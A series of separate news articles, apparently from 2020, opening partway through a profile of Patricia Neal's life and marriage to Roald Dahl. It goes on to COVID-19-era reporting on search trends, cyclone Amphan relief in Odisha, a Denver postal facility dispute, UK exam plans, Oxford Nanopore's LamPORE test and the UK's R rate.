But she added: 'If I had only one thing to do over in my life, I would have that baby.'

Neal was about to go into rehearsal for a Broadway revival of Lillian Hellman's play, The Children's Hour, when she attended a dinner party at Hellman's home, and there met Roald Dahl, later to find fame as a children's author with titles such as The BFG (Big Friendly Giant), who was then working for The New Yorker magazine.

Dahl, British-born of Norwegian parents, was ten years Neal's senior and had arrived in New York in 1942 as a 26-year-old RAF officer, appointed as an assistant air attache.

He almost immediately began working for British Security Coordination, a branch of MI6, which controlled more than a thousand wartime secret agents.

He rapidly established himself in New York as a serial womaniser and skilled flirt.

One of the first to become a willing victim to his 'manly beauty' was Beatrice Gould, co-editor of the Ladies' Home Journal.

Other wealthy and usually older women also succumbed. Before long, Dahl had a 'whole stable' of ladies who considered him 'drop-dead gorgeous'.

One friend thought him 'very arrogant with women, but he got away with it. The uniform didn't hurt one bit. I think he slept with everybody on the East and West coasts that had more than $50,000 a year'.

One celebrated older woman who succumbed to Dahl's allure was Congresswoman Clare Boothe Luce, a relationship said to have been encouraged by the British Embassy in Washington.

Dahl is alleged to have told the British Ambassador, Lord Halifax, that he was 'all f****d out' because Luce had 'screwed (him) from one end of the room to the other for three goddam nights'.

Dahl was also showered with expensive gifts by the American oil heiress Millicent Rogers, who was simultaneously having an affair with Dahl's friend, James Bond creator Ian Fleming.

Another of Dahl's friends, David Ogilvy, observed that while he may have enjoyed putting notches on his bedpost, his partners were often hurt.

'When they fell in love with him, as a lot did, I don't think he was nice to them,' said Ogilvy.

According to Dahl's biographer, Donald Sturrock, during his four years in Washington, 'he had experienced enough excitement to last a lifetime, while the realities of war had added a cynical, misanthropic, and world-weary aspect to his personality'.

This was the man who, in 1952, turned his attentions to Patricia Neal. Her reaction to him was cold.

She was later to say that she initially 'loathed' Dahl. 'I was infuriated by his rudeness,' she added.

After aborting her baby by Gary Cooper, however, Neal desperately wanted children, so she married Dahl in 1953.

But she would later admit that she did not love him. They bought Gipsy House in Great Missenden, 30 miles from London, and divided their lives between there and New York.

In 1960, just after Neal had finished filming Breakfast At Tiffany's, the Dahls' four-month old baby son, Theo, was braindamaged when his pram was hit by a taxi, his skull shattered by the force of the impact.

Fluid built up in his cranial cavity, causing him to go blind.

Doctors inserted a tube to drain the fluid, but six times in the next nine months, the tube became blocked, causing further blindness.

In his determination to help his son, Dahl almost abandoned his writing career to work with toymaker Stanley Wade and paediatric neurosurgeon Kenneth Till on the development of a 'cerebral shunt' for draining fluid that became known as the Dahl-Wade-Till (DWT) valve.

The valve went on to be used successfully on almost 3,000 children around the world.

Two years after Theo's accident, tragedy struck the Dahls again when  as we have seen  their seven-year-old daughter Olivia died from encephalitis.

Dahl sobbed on Neal's shoulder and she knew he was 'destroyed'.

Yet he seemed unable to acknowledge his wife's suffering.

It was then, she decided, that the 'landslide of anger and frustration' began that almost buried their family.

In 1964, Neal reached the peak of her career when she won the Best Actress Oscar, Bafta and New York Film Critics Award for her performance opposite Paul Newman in Hud.

She won a further Bafta award in 1966 for In Harm's Way, co-starring John Wayne.

She had just begun filming Seven Women for acclaimed director John Ford, and was pregnant with her fifth child, when she suffered three massive strokes.

Doctors removed blood clots from her brain and she was in a coma for 21 days, during which showbusiness newspaper Variety mistakenly announced her death.

When she regained consciousness, she was paralysed on her right side, unable to walk, and had impaired speech and partial blindness in her right eye.

Her fifth child, Lucy, was born healthy, but Dahl realised Neal had only months in which to re-learn what had been lost.

He imposed a ruthless regime on her, forcing her to ask for things by their correct name and word, or go without them.

At the end of ten months, Neal's only remaining infirmity was the loss of vision in her right eye.

Showbusiness cynics were convinced she would never work again, but in 1968 she made a miraculous return to the screen in The Subject Was Roses, for which she won another Oscar nomination.

President Lyndon Johnson presented her with the Heart Of The Year Award and, in 1978, the Patricia Neal Rehabilitation Centre opened in Knoxville, Tennessee.

But if her career endured, her marriage did not. She had befriended a young widow, Felicity Crosland, who  after accepting an invitation to stay at Great Missenden  repaid Neal's hospitality by becoming her husband's mistress.

When Neal learned of their affair, she was devastated and returned to New York, this time for good.

She and Dahl were divorced in 1983. He died in 1990.

In her 1988 autobiography, Neal wrote: 'Frequently my life has been likened to a Greek tragedy, and the actress in me cannot deny the comparison'.

But Patricia Neal, the courageous and gutsy survivor, did not dwell on her tragedies.

When lung cancer ended her life at the age of 84 on August 8, 2010, her family said that 'she faced her final illness as she had all the many trials she had endured: with indomitable grace, good humour and a great deal of her self-described stubbornness'.

Her own last words on her extraordinary life were heart-warmingly positive. 'I've had a lovely time,' she said.
Questions about the economic fallout from the coronavirus pandemic are beginning to overtake questions about the virus itself, according to a new analysis of Google search data from around the world.

Why it matters: Even with the global death toll rising, search data indicates that the coronavirus has become a fact of life for much of the world. Now, people have more questions about jobs, unemployment, furloughs and government aid.

How it works: Axios, Google Trends and research firm Schema analyzed more than 8,000 searches in six countries  the U.S., Canada, Great Britain, Australia, India and Singapore.

These are all top English-language searches, related to coronavirus, that begin with "what is/are" or "how to."

What we found: General knowledge searches, such as "what is the coronavirus." surged in each country in January and February as the virus began to spread.

But over the past several weeks, those queries have slowed.

In the U.S., Canada, Australia and Singapore, searches about topics like furloughs and unemployment  repercussions of necessary coronavirus shutdowns  are more likely to be top searches than questions about the virus or its spread.

More people in the U.S. are now searching "Facebook" than "coronavirus."

Great Britain's Google trends largely mirror trends in the U.S., except that searches about jobs and the economy have not yet surpassed the number of top searches for general knowledge about the virus.

British people may simply have fewer questions about how to stay afloat, because of the government's massive spending to cover large chunks of workers' salaries, Axios world editor Dave Lawler notes.

Britain was also the only nation that had a surge in Google queries related to volunteering and donating back to community.

"With so much of this dataset reflecting the negative impact of the outbreak, it was heartwarming to see these acts of kindness reflected in the data," Schema founder Christian Schmidt told Axios.

Between the lines: India's English-language searches don't reveal an uptick in economic questions, but they may have simply been lost in translation.

It could also be that the elderly and poor populations, who were eligible for the initial relief benefits offered in late March, are less likely to use Google  especially in English, said Jeff MacInnes, Schema's director of technology. And some common searches aren't framed as "how to" or "what is" questions.

What to watch: Changes in Google searches reflect local outbreak cycles, the types of governmental programs available to ease financial hardship as well as media coverage, experts say.

Singapore has suffered a second wave of coronavirus cases, and you can see two spikes in general-knowledge Google searches  each followed by upticks in economic questions.

has suffered a second wave of coronavirus cases, and you can see two spikes in general-knowledge Google searches  each followed by upticks in economic questions. There were also two surges in searches about masks for Singapore, one peaking in early February and the other in April.

What's next: Search trends tend to follow events on the ground, and aren't necessarily helpful for predicting outbreaks or other events, said Cuihua (Cindy) Shen an associate professor at UC Davis who studies social media and big data.
Prime Minister Narendra Modi on Friday announced financial assistance of Rs 500 crore for Odisha where Cyclone Amphan left a trail of devastation. The PM conducted an aerial survey of the areas in the state with Chief Minister Naveen Patnaik.

Expressing solidarity with the people of Odisha and deep sorrow for the lives lost, the Prime Minister also announced an ex-gratia of Rs 2 lakh to the next of kin of the deceased and Rs 50,000 to the seriously injured.

"Everyone is fighting COVID-19. In such a time, we had a super cyclone in some parts of India. This became very worrying. At the same time, due to the well-established processes in Odisha, many lives were saved. I congratulate the people and Government of Odisha. At the same time, there has been damage to property, which we reviewed in a meeting today. All possible assistance will be provided by the Centre to ensure quick relief work. Rs 500 crore will be given to Odisha as advance assistance," tweeted the PMO.

After the aerial survey, PM Modi chaired a meeting in Bhubaneshwar with the senior state and central government functionaries to review the situation. He announced the financial assistance pending the assessment of the damage by an Inter-Ministerial Central Team.

"I would like to thank the citizens of Odisha, the administration and the CM for their efforts in tackling Cyclone Amphan as the state has been able to limit the casualties," also said PM Modi.

PM Modi visited Odisha to take stock of the situation accompanied by Union Minister Dharmendra Pradhan, Union Ministers of State Babul Supriyo, Pratap Chandra Sarangi and Debasree Chaudhuri. Accompanied by the Governor of Odisha, Ganeshi Lal, and the CM, the PM conducted an aerial survey of Bhadrak and Balasore to assess the impact of the cyclone.

The PM gave his assurance that the Union Government would work shoulder to shoulder with the state governments at this difficult time and give all possible assistance for restoration and rebuilding of infrastructure in the areas affected by the cyclone.

PM Modi was received by CM Patnaik and Governor Ganeshi Lal on arrival at Bhubaneswar Airport. This was the Prime Minister's first visit outside the national capital after the coronavirus-induced lockdown was imposed on the midnight of March 24.

Cyclone Amphan wreaked havoc in Odisha, damaging power and telecom infrastructure in several coastal districts. This cyclone is considered to be the second major cyclone in the Bay of Bengal after the super cyclone of 1999, which had claimed around 10,000 lives in Odisha and devastated vast areas in the state.

In 2018, Odisha had rushed men and resources to the southern state of Kerala, which was severely hit by unprecedented floods. The rescue-and-relief teams from Odisha actively took part in the rehabilitation and resettlement of the flood-hit people in Kerala.

Nearly 45 lakh people in Odisha are affected by the extremely severe cyclonic storm Amphan, officials said on May 21 as CM Patnaik asked them to submit a report on damage to crops and houses within the stipulated time. "The cyclone severely damaged houses, standing crops, electrical infrastructure and uprooted trees in many districts. Steps are being taken on a war footing to restore normalcy," CM Patnaik said.

Stating that manpower and materials have been mobilised for quick restoration of power supply in Amphan-hit areas, the chief minister has said road clearance and connectivity issues will be sorted out by Friday morning.

The extremely severe cyclonic storm, which fiercely rolled past the state's coast and made landfall in the Sunderbans in West Bengal on May 20, uprooted trees and flattened fragile dwellings, Chief Secretary AK Tripathy said. The power infrastructure and the farm sector have also suffered considerable damage, while the telecommunication infrastructure is largely intact with minimal impact, he said. It weakened significantly since making the landfall and moving to Bangladesh.

Horticulture sector has also suffered extensive damage as a large number of betel vines in Puri, Jagatsinghpur, Bhadrak and Balasore districts have been completely destroyed due to heavy downpour and fierce winds.

Another senior official said electricity supply to 34 lakh consumers, including 1.63 lakh of power distribution company SOUTHCO, 15 lakh of NESCO and 17 lakh of CESU was hit. However, electricity was restored in SOUTHCO areas and in Bhubaneswar and Cuttack.
WHEAT RIDGE, Colo. - A U.S. Postal Service distribution facility in Denver that handles 10 million pieces of mail a day for Colorado and Wyoming remained open Friday despite being ordered to shut down by city health officials because of a coronavirus outbreak investigation.

The agency said it is complying with federal safety guidelines and working with city officials to address their concerns.

The Denver Department of Public Health & Environment said it ordered the Postal Service to shut down the facility after the Postal Service refused to provide it with necessary information and inspectors were refused entry beyond the post office service counter on Wednesday.

This was a measure of last resort, and the only remaining tool we have to get the facility managements attention and secure public health compliance during a pandemic, the department said in a statement.

The inspectors were turned away by a random employee because they turned up at the secure federal facility unannounced and did not try to arrange for access despite already being in talks with the Postal Service about the situation, USPS spokesman David Rupert said.

The 840,000-square-foot (78,039-square-meter) mail facility, the fourth largest in the United States, has about 2,000 workers who process incoming and outgoing mail for 6.3 million people in Colorado and Wyoming using about 900 trucks. The last time a worker there was confirmed to have COVID-19 was May 2, and there is no current outbreak there, Rupert said.

Danica Lee, the director of the health departments inspections division, told KUSA-TV that there have been five cases at the facility.

Rupert confirmed that figure but said the Postal Service relies on public health officials to tell it when an employee has tested positive. He said it has participated in contact tracing investigations when it has been notified about cases.

In its order, Denver officials said the facility should remain closed until the facility can be sanitized and safety procedures, including employee being checked for symptoms and being required to wear face coverings, are followed. They also want the Postal Service to report any new coronavirus cases within 24 hours.

The Postal Service adheres to U.S. Centers for Disease Control guidelines and provides masks to all employees, but only those people whose work cannot avoid being within 6 feet (2 metres) of others are required to wear them, Rupert said. Employee screenings are not required by the CDC, he said.

While local health departments have shut down essential businesses like supermarkets because of outbreaks, the Postal Service says its mission is protected by federal law during times of emergency. Shutting down the mail hub would disrupt the delivery of such things as stimulus checks, medicine, mail ballots for the June 30 primary election as well as letters, Rupert said.

We realize more than ever how important connection is. No one does connection better than the U.S. Postal Service, he said.
Seven US senators have urged Treasury Secretary Steven Mnuchin to limit Chinese companies from taking advantage of stock prices depressed by the coronavirus pandemic to buy strategic US assets.

In the letter, sent on Wednesday by a group led by Republican Senator Marco Rubio of Florida, the lawmakers said they took the action after receiving "disturbing" reports that "government-backed Chinese companies are reportedly approaching banks to identify and facilitate the purchase of American and European companies affected by the pandemic".

China is "looking to exploit the economic crisis wrought by the Covid-19 pandemic to gain control of distressed companies", they wrote, saying it was urgent that the US to protect against such predatory economic behaviour.

The warning comes as other countries take measures to fend off expected Chinese corporate acquisition, in fear that the pandemic could present a buying opportunity for countries like China to scoop up strategically important assets " including technology, aerospace and energy " that have lost value.

A Chinese-backed private equity firm was blocked from buying US-based Lattice Semiconductor in late 2017. Photo: Reuters alt=A Chinese-backed private equity firm was blocked from buying US-based Lattice Semiconductor in late 2017. Photo: Reuters

The European Union told its member governments to consider buying stakes in companies to stave off the threat. India and Australia have also warned about the need to keep key industries from falling into the hands of adversaries.

As Beijing grows more vocal about its global ambitions in technology and military development under President Xi Jinping, Chinese investments in strategic sectors have become an increasingly sensitive issue in the West.

The US was among the first to tighten the oversight by blocking a number of high-profile takeover proposals from Chinese buyers since Donald Trump became president, including a Chinese-backed private equity firm from buying US-based Lattice Semiconductor in late 2017.

Story continues

Hardliners in the White House have since gained more influence.

Along with Rubio, a long-time China hawk, the other senators signing the letter were Republicans Thom Tillis, Ben Sasse, John Cornyn, Tom Cotton and Mitt Romney and Democrat Jeff Merkley.

The letter was also copied to Secretary of State Mike Pompeo, National Security Adviser Robert O'Brien and the director of the National Economic Council, Larry Kudlow.

This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright  2020 South China Morning Post Publishers Ltd. All rights reserved.

Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved.
S tudents could sit A-level exams in October and GCSEs in November if they are unhappy with their results, under proposals published by exams regulator Ofqual.

The autumn exams would be for students who want to try and improve the grade they receive this summer, and for those who are unable to receive a calculated grade.

Exact dates for the exams have not been released because of the continued uncertainty around the full reopening of schools and colleges, Ofqual said.

Following the closure of schools in March amid the coronavirus outbreak, the Department for Education said pupils in England would be awarded calculated grades based on teacher assessment.

Schools in the UK closed in March amid the coronavirus outbreak / PA

Grades will be standardised, taking account of the expected national outcomes for this years students, prior attainment of student cohorts and previous results of the school or college.

A decision on when the autumn exams will take place will be informed by advice from Government, exam boards and groups representing schools, colleges, teachers and students, Ofqual added.

In proposals published on Friday, it said: Given the current uncertainty about when schools and colleges will reopen we are not consulting on the exact dates when the exams should take place.

However, for the exams to best serve their intended purpose we envisage that, if possible, AS and A-level exams should take place in October and GCSE exams in November.

Ofqual said it was not possible to provide teachers with national training on making standardised judgements, because of how quickly arrangements had to be made, and therefore some adjustment to grades is highly likely.

UK returns to work as Coronavirus restrictions are eased - In pictures 1 /38 UK returns to work as Coronavirus restrictions are eased - In pictures Londoners returning to work near London Bridge Jeremy Selwyn Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Cyclists travel in central London AFP via Getty Images Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Alan Price on his Penny Farthing this morning on Battersea Bridge Jeremy Selwyn Delivery men are seen outside a reopened McDonald's with take-out only deliveries in Dalston Reuters Jubilee Line tube commuters as lockdown eases Nigel Howard Worlds End Nurseries in Chelsea opens for business. Customer Nika Kucifer is shown flowers by Janson Lotery Nigel Howard Londoners going back to work at Waterloo Jeremy Selwyn People ride bicycles in a cycle lane in Chelsea PA Jubilee Line tube commuters as lockdown eases Nigel Howard Londoners going back to work at Vauxhall Jeremy Selwyn Jubilee Line tube commuters as lockdown eases Nigel Howard Jubilee Line tube commuters as lockdown eases. Nigel Howard Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn Vehicles are seen on the M56 motorway near Manchester, Reuters Londoners going back to work at Waterloo Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Monty's first day back. West Highland Terrier Monty commutes to work on his bike on his first day back with owner Darragh McElroy. Monty, who's Instagram account is @monty_whitehall_westie, works at the Cabinet Office in Whitehall with his owner Darragh who is Deputy Director of Coronavirus Communications at the Cabinet Office Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn A commuter wears a mask at Canning Town station Reuters Rush hour on the M6 at the junction for Birmingham/Walsall on the first morning of the eased Coronavirus lockdown PA Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen on a London Underground tube, following the outbreak of the coronavirus disease Reuters Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen at Stratford station, Reuters Cyclists in Chelsea today. Nigel Howard

It said: Such adjustments are in the interests of fairness to all students because they will ensure, as far as possible, that individual centres have not been too severe or too generous in comparison with other centres.

Ofqual said its proposals to award calculated grades were supported by 82 per cent of the 12,623 respondents to it consultation.

Sally Collier, chief regulator at Ofqual, said: In the unprecedented circumstances we face this summer, these exceptional arrangements are the fairest way of making sure students have the grades they need in time to progress to further study or employment.

A-level pupils will get their results on August 13 and GCSE students will be given their grades on August 20.

Ofqual is now consulting, until June 8, on its proposals on the arrangements for the additional autumn exams.

Public Health England: It's up to schools when they want to reopen

Bill Watkin, chief executive of the Sixth Form Colleges Association, said while Ofqual had set out the fairest possible way to award grades after exams had to be cancelled, there will still be winners and losers this year because no one system can meet the needs of every centre and every young person.

Geoff Barton, general secretary of the Association of School and College Leaders, raised concerns about the practicalities for schools and colleges in hosting a full exam series in the autumn, on top of everything else they will have to do as a result of the current crisis.

University and College Union general secretary Jo Grady said she remained concerned around a possible negative impact on disadvantaged students.

She said: We are disappointed that more has not been done to recognise the impact that these changes will have on disadvantaged students. Without action, these groups are likely to be even more underrepresented.
90 percent of Chinese young people will pay more attention to Two Sessions this year

91.5 percent of young people surveyed said they would pay more attention to the Two Sessions, namely, the annual plenary session of the National People's Congress, and the National Committee of the Chinese People's Political Consultative Conference, this year than in previous years, according to recent research.

The Great Hall of the People in Beijing Photo/People's Daily App)

The survey was carried out by the social survey center of China Youth Daily in collaboration with the website wenjuan.com among 1,984 young people between the ages of 18 and 35.

According to the survey, 91.5 percent of the young people surveyed said they would pay more attention to the Two Sessions this year than in previous years, paying most attention to the protection of people's livelihoods and employment & entrepreneurship.

The young people interviewed expressed the greatest satisfaction with national security and social governance.

"When I learned about the timing of the Two Sessions, I immediately forwarded it to my moments on social media," said Liu Wei, who was born after 1995 and works in Hangzhou, capital of East China's Zhejiang province.

Liu Wei added that compared with previous years, he is particularly concerned about and looking forward to the Two Sessions this year.

"In the process of epidemic prevention and control, we can feel that people around us are very concerned about when the Two Sessions will be held. As soon as the time for the Two Sessions was decided, we felt relieved, as this is a very positive signal."
Oxford Nanopore Technologies is in advanced development of a new generation of end-to-end test (assay) for the detection of SARS-CoV-2, the virus that causes COVID-19.

The LamPORE assay is designed to be rapid, low cost, and scalable to cater to on-demand analysis of smaller sample numbers, to very large numbers of samples. Hardware and reagents sit outside current, squeezed supply chains for other molecular tests.

LamPORE is based on Oxford Nanopores DNA/RNA sequencing technology, in combination with a simple, sample-preparation method (loop-mediated isothermal amplification, plus Oxford Nanopores rapid kit). It seeks to understand whether a sample currently contains the SARS-CoV-2 virus (rather than detecting antibodies that may indicate a previous infection).

Since the first emergence of the virus, Oxford Nanopores rapid, portable sequencing technology has been used extensively for COVID-19 epidemiology and scientific research.

LamPORE is the first assay that the Company has developed in-house with intended use in diagnostic applications, subject to relevant authorisations that the Company is currently pursuing. Oxford Nanopore is planning to deploy LamPORE for COVID-19 in a regulated setting initially on GridION and soon after on the portable MinION Mk1C.

The LamPORE protocol will also be made openly available for research use on any Oxford Nanopore device.

Oxford Nanopores vision is to support wide efforts to identify, track, trace and isolate cases. LamPORE is designed to enable rapid detection of SARS-CoV-2, whether in a high-throughput centralised lab processing thousands of samples, or for on-demand analysis in decentralised locations, so that analysis can be performed in more community settings.

LamPORE is designed to enable:



Very high throughput, centralised lab-based analyses: for example, to support routine screening of workforces - whether on the frontline or to support a general return to work. This might include regular screening of healthcare workers/other public sector employees, or businesses employees, whether symptomatic or asymptomatic.

Near-community: Also designed to be deployable in decentralised environments, LamPORE opens up potential opportunities for rapid, local testing as restrictions are eased, for example in care homes, transport networks, businesses or other community settings. Decentralisation supports rapid turnaround of testing, which is important to enable rapid, precise isolation and therefore prevent onwards transmission of the virus.

The LamPORE method can also be used to analyse environmental samples to assess for the presence of the SARS-CoV-2 virus. This has the potential to be used for swabbing surfaces, or systems such as water treatment.

LamPORE does not rely on reagents used in traditional COVID-19 tests, which could ease pressure on current supply chains and expand access.

This year we have gained extensive experience supporting customers using our sequencing technology for COVID-19 epidemiology, and we have also been directing our own powerful innovation and development engine at COVID-19, said Dr Gordon Sanghera, CEO of Oxford Nanopore.

We designed our first nanopore sequencing device to be used by any scientist, anywhere. Now, with LamPORE, we want to bring the accessibility and scalability of nanopore sequencing into the area of rapid testing,

Oxford Nanopore is collaborating with scientists in multiple institutions for rapid optimisation and validation of the LamPORE method for SARS-CoV-2 detection.

Find out more: http://www.nanoporetech.com/covid19
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Britiain's chief scientific adviser has warned that the coronavirus's reproduction rate in the UK is 'potentially quite close to one', meaning that the number of new cases could start to rise again if it rises further.

The R rate denotes the number of other people an infected patient will pass the sickness on to and it must stay at 1 or below or Britain will face another crisis.

Sir Patrick Vallance said at today's Downing Street briefing: 'We're currently at an R across the UK of between 0.7 and 1. Below 1 in every area of the UK, we think, but potentially quite close to one.

'So the epidemic is either flat or declining at the moment in the UK and in most areas it's declining.'

Britain today announced 351 more coronavirus deaths, taking the official number of victims to 36,393.

This is the second week in a row the R rate has officially been announced as between 0.7 and 1, meaning every 10 patients infect between seven and 10 others.

However, the way the R is calculated means it is out of date, and the latest calculation is based on data from around three weeks ago - before the lockdown loosened.

The R is calculated by working out how fast the virus spreads by comparing data including hospital admissions, the number of patients in intensive care, death statistics and surveys to find out how many people members of the public are coming into contact with.

The new number does not factor in the slight relaxation of Britain's lockdown measures, announced by Prime Minister Boris Johnson on May 13. Mr Johnson has said ministers would reimpose controls if the rate of transmission of the virus started to pick up again.

London is thought to be leading the way in terms of its R value, with experts from Public Health England and Cambridge University predicting it could be as low as 0.4 in the capital. But the nationwide reproduction number is being skewed upwards due to outbreaks in care homes and in Northern towns. It has prompted calls for regional easing of lockdown, with London leading the way.

The capital was formerly the UK's coronavirus epicentre and at least two million people are thought to have been infected there, according to estimates. But experts say around 17 per cent of Londoners have now had the disease already and have built up immunity, which makes it harder for the virus to spread.

Today's death toll - which takes into account all settings - is the lowest recorded on a Friday for eight weeks, since 284 on March 27. It is marginally lower than the 363 recorded yesterday.

Fewer than half of the deaths (172) were in hospitals, with the rest of the fatalities registered in care homes and the wider community. The numbers only take into account victims who tested positive for the disease.

Department of Health figures released this afternoon also showed that 3,287 more Britons had tested positive for the disease, after data released yesterday showed the UK had surpassed 250,000 confirmed cases - but the true size of the outbreak is estimated to have seen around 5million people infected.

Home Secretary Priti Patel used today's Downing Street briefing to announce that, from June 8, anyone arriving in the UK from abroad must self-isolate for 14 days or face a fine of up to 1,000. She said this would reduce the risk of new cases from overseas triggering more outbreaks in Britain.

In other developments to Britain's coronavirus crisis today:

A Nobel Prize-winning scientist tore into Boris Johnson's lack of political leadership over coronavirus that has left the UK on the 'back foot' and 'firefighting through successive crises';

Thousands of lives could have been saved from Covid-19 if Britain's lockdown was imposed just one week earlier, a government scientific adviser claimed;

JD Wetherspoon revealed its 11million masterplan to reopen its 875 pubs as soon as the Government gives them the nod in July;

So-called coronavirus 'immunity certificates' that could allow Brits to return to work have come a step closer after ministers announced mass antibody tests are being deployed;

Australia is pushing to be the first country exempted from the UK's 14-day coronavirus quarantine - as arrivals face 'spot checks' on homes and 1,000 fines for breaking the rules.

WHAT IS THE R, AND HOW DOES THE GOVERNMENT ESTIMATE IT? Every infectious disease is given a reproduction number, which is known as R0 - pronounced 'R nought' - or simply R. It is a value that represents how many people one sick person will, on average, infect if the virus is reproducing in its ideal conditions. The value has been estimated by the Government's Scientific Advisory Group for Emergencies (SAGE). They assess data from hospitalisations, intensive care demand, deaths and the number of social contacts people have. Experts use multiple sources to get this information, including NHS hospital admissions, Office for National Statistics and CQC death figures and behavioural contact surveys. Using mathematical modelling, they are able to calculate the virus' spread. But a lag in the time it takes for coronavirus patients to fall unwell and die mean the R modelling is always roughly three weeks behind. Most epidemiologists - scientists who track disease outbreaks - believe the SARS-CoV-2 virus, which causes COVID-19, has an R value of around 3. But some experts analysing outbreaks across the world have estimated it could be closer to the 6.6 mark. As an outbreak goes on, the R0 may be referred to more accurately as Re or just R, as other factors come into play to influence how well it is able to spread. Estimates of the COVID-19 R vary because the true size of the pandemic remains a mystery, and how fast the virus spreads depends on the environment. As an outbreak progress the R may simply be referred to as R, which means the effective rate of infection - the nought works on the premise that nobody in the population is protected, which becomes outdated as more people recover. Advertisement

SAGE scientists have advised splitting classes in half and having them attend schools on alternate weeks could slash the effect on the coronavirus 'R' number.

Evidence considered by the Scientific Advisory Group on Emergencies (SAGE) suggests the impact on the spread of the disease be a fraction would be dramatically smaller if pupils come back part time.

A raft of documents released this afternoon also suggest that children are less likely to be infected and infectious than adults.

Many of the concerns about schools returning appear to be over the knock-on impact on social distancing, with more mixing of families and parents returning to work.

An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks.

If half the class went in in the morning and half in the afternoon that would rise to 0.4. The maximum impact of one would be if schools came back completely.

A document from a behavioural insight meeting on May 1 said: 'Although not initially one of the options proposed by DfE, options 7b (classes split in two, with children attending on alternate weeks) emerged from the joint discussions as having particular potential merit for further consideration.'

The findings will likely add to arguments with unions over whether it is safe for children to return, and if it can be achieved without triggering another flare up of the virus.

The files emerged as a SAGE source claimed Government plans to reopen primary schools are grounded in welfare concerns rather than evidence younger pupils are less vulnerable.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in England in reception, Year 1 and Year 6 to go back to class on June 1.

However, the exact shape of the reopening is being left in the hands of headteachers.

Teaching unions have been threatening to boycott the move over safety fears, while a slew of councils have said they will not fall into line. Nicola Sturgeon has said schools in Scotland will not reopen until August, after the usual summer holiday north of the border.

According to the SAGE papers, evidence on how likely children are to transmit Covid-19 remains 'inconclusive'.

Wider contextual issues - including whether families have black, Asian and minority ethnic (BAME) members - must be taken into account when assessing the impact of relaxing school closures on transmission.

Teachers do not appear to be at a greater risk of catching Covid-19 than other professions - but there is still some risk.

An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks

This is how social distanced desks will look at Holywell Village First School in Northumberland

Splitting classes in half and having them attend schools alternate weeks could slash the effect on 'R' number Splitting classes in half and having them attend schools alternate weeks could slash the effect on the coronavirus 'R' number, government experts believe. Evidence considered by the Scientific Advisory Group on Emergencies (SAGE) suggests the impact on the spread of the disease be a fraction would be dramatically smaller if pupils come back part time. A raft of documents released this afternoon also suggest that children are less likely to be infected and infectious than adults. Many of the concerns about schools returning appear to be over the knock-on impact on social distancing, with more mixing of families and parents returning to work. An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks. If half the class went in in the morning and half in the afternoon that would rise to 0.4. The maximum impact of one would be if schools came back completely. A document from a behavioural insight meeting on May 1 said: 'Although not initially one of the options proposed by DfE, options 7b (classes split in two, with children attending on alternate weeks) emerged from the joint discussions as having particular potential merit for further consideration.' The findings will likely add to arguments with unions over whether it is safe for children to return, and if it can be achieved without triggering another flare up of the virus.he files emerged as a SAGE source claimed Government plans to reopen primary schools are grounded in welfare concerns rather than evidence younger pupils are less vulnerable. Advertisement

The Sage papers suggest that younger teachers' attendance in schools could be prioritised in order to decrease the likelihood of infection for school staff in more vulnerable groups.

The publication of the advice comes after education unions and council leaders called for the evidence underpinning the proposal to reopen schools in England to be released.

'Evidence remains inconclusive on both the susceptibility and infectivity of children, but the balance of evidence suggests that both may be lower than in adults,' according to the scientific modelling.

Meanwhile, it emerged today that hundreds of thousands of coronavirus tests sent to people's homes have been counted but never returned to labs, PHE's testing boss has suggested.

Professor John Newton, director of health improvement at Public Health England, could only say today that 'more than half' of home tests had been completed.

The Government claims that 719,000 tests have been delivered to people for them to complete the swabs themselves, but a significant chunk of these may never have been done. The posted tests form a huge section of the 3.2million tests the Department of Health claims to have carried out.

And Health Secretary Matt Hancock would not have hit his lauded target of 100,000 tests in a day by May 1 if the department had not posted out 39,000 the day before.

If up to half of the tests posted out to people had never been returned to a laboratory that could mean up to around 350,000 of them never completed the lab analysis - but they were counted anyway by the Government.

Professor Newton, speaking in a grilling by MPs on Parliament's Science and Technology Committee this morning, said it had been the Department of Health's decision to count tests that had been posted rather than those completed.

In the same tense meeting, Professor Newton and his colleague Professor Yvonne Doyle, medical director at PHE, said Britain abandoned mass testing in March because the country's outbreak was already too large.

'Many hundreds of thousands' of people had the virus after half-term, they admitted, and contact tracing 'could not possibly' have prevented the current disaster.

Home tests have been available since the end of April but Professor Newton said he didn't know how many people who ordered them were actually returning them to the labs.

When asked what the return rate was, Professor Newton hesitated at length before saying: 'Certainly more than half.'

Professor Yvonne Doyle and Professor John Newton were today grilled by MPs and defended Publlic Health England's actions throughout the COVID-19 pandemic, saying the Department of Health took the major decisions while PHE provided specialist advice

Matt Hancock's promise to test 100,000 people per day by the beginning of May would not have been met if the Department of Health had not counted tests that were posted

Pressed again by Conservative MP Greg Clark, chair of the committee, Professor Newton added: 'I'm afraid I don't have that figure.'

The fact that up to 50 per cent of the tests may not be getting sent back to labs for analysis suggests that the number of tests the Government is claiming to do each day could be wildly over-estimated.

Professor Newton, defending PHE's involvement, said the Department of Health took the decision to count a test that had been posted.

Labour MP Graham Stringer said what the definition of a test was and said: 'Clearly, posting a test is not a test.'

Professor Newton replied: 'The way tests are counted [was] discussed with officials at the Department of Health and we were advised by the officials in the Department of Health on the appropriate method of counting the tests and that's what we did.'

Greg Clark, the meeting's chair, cut in: 'They advised you, you didn't advise them?'

'No, they advised us, absolutely, yes,' Professor Newton said.

Mr Stringer asked with a raised eyebrow: 'Do you think it's appropriate? Counting posted letters as opposed to real tests?'

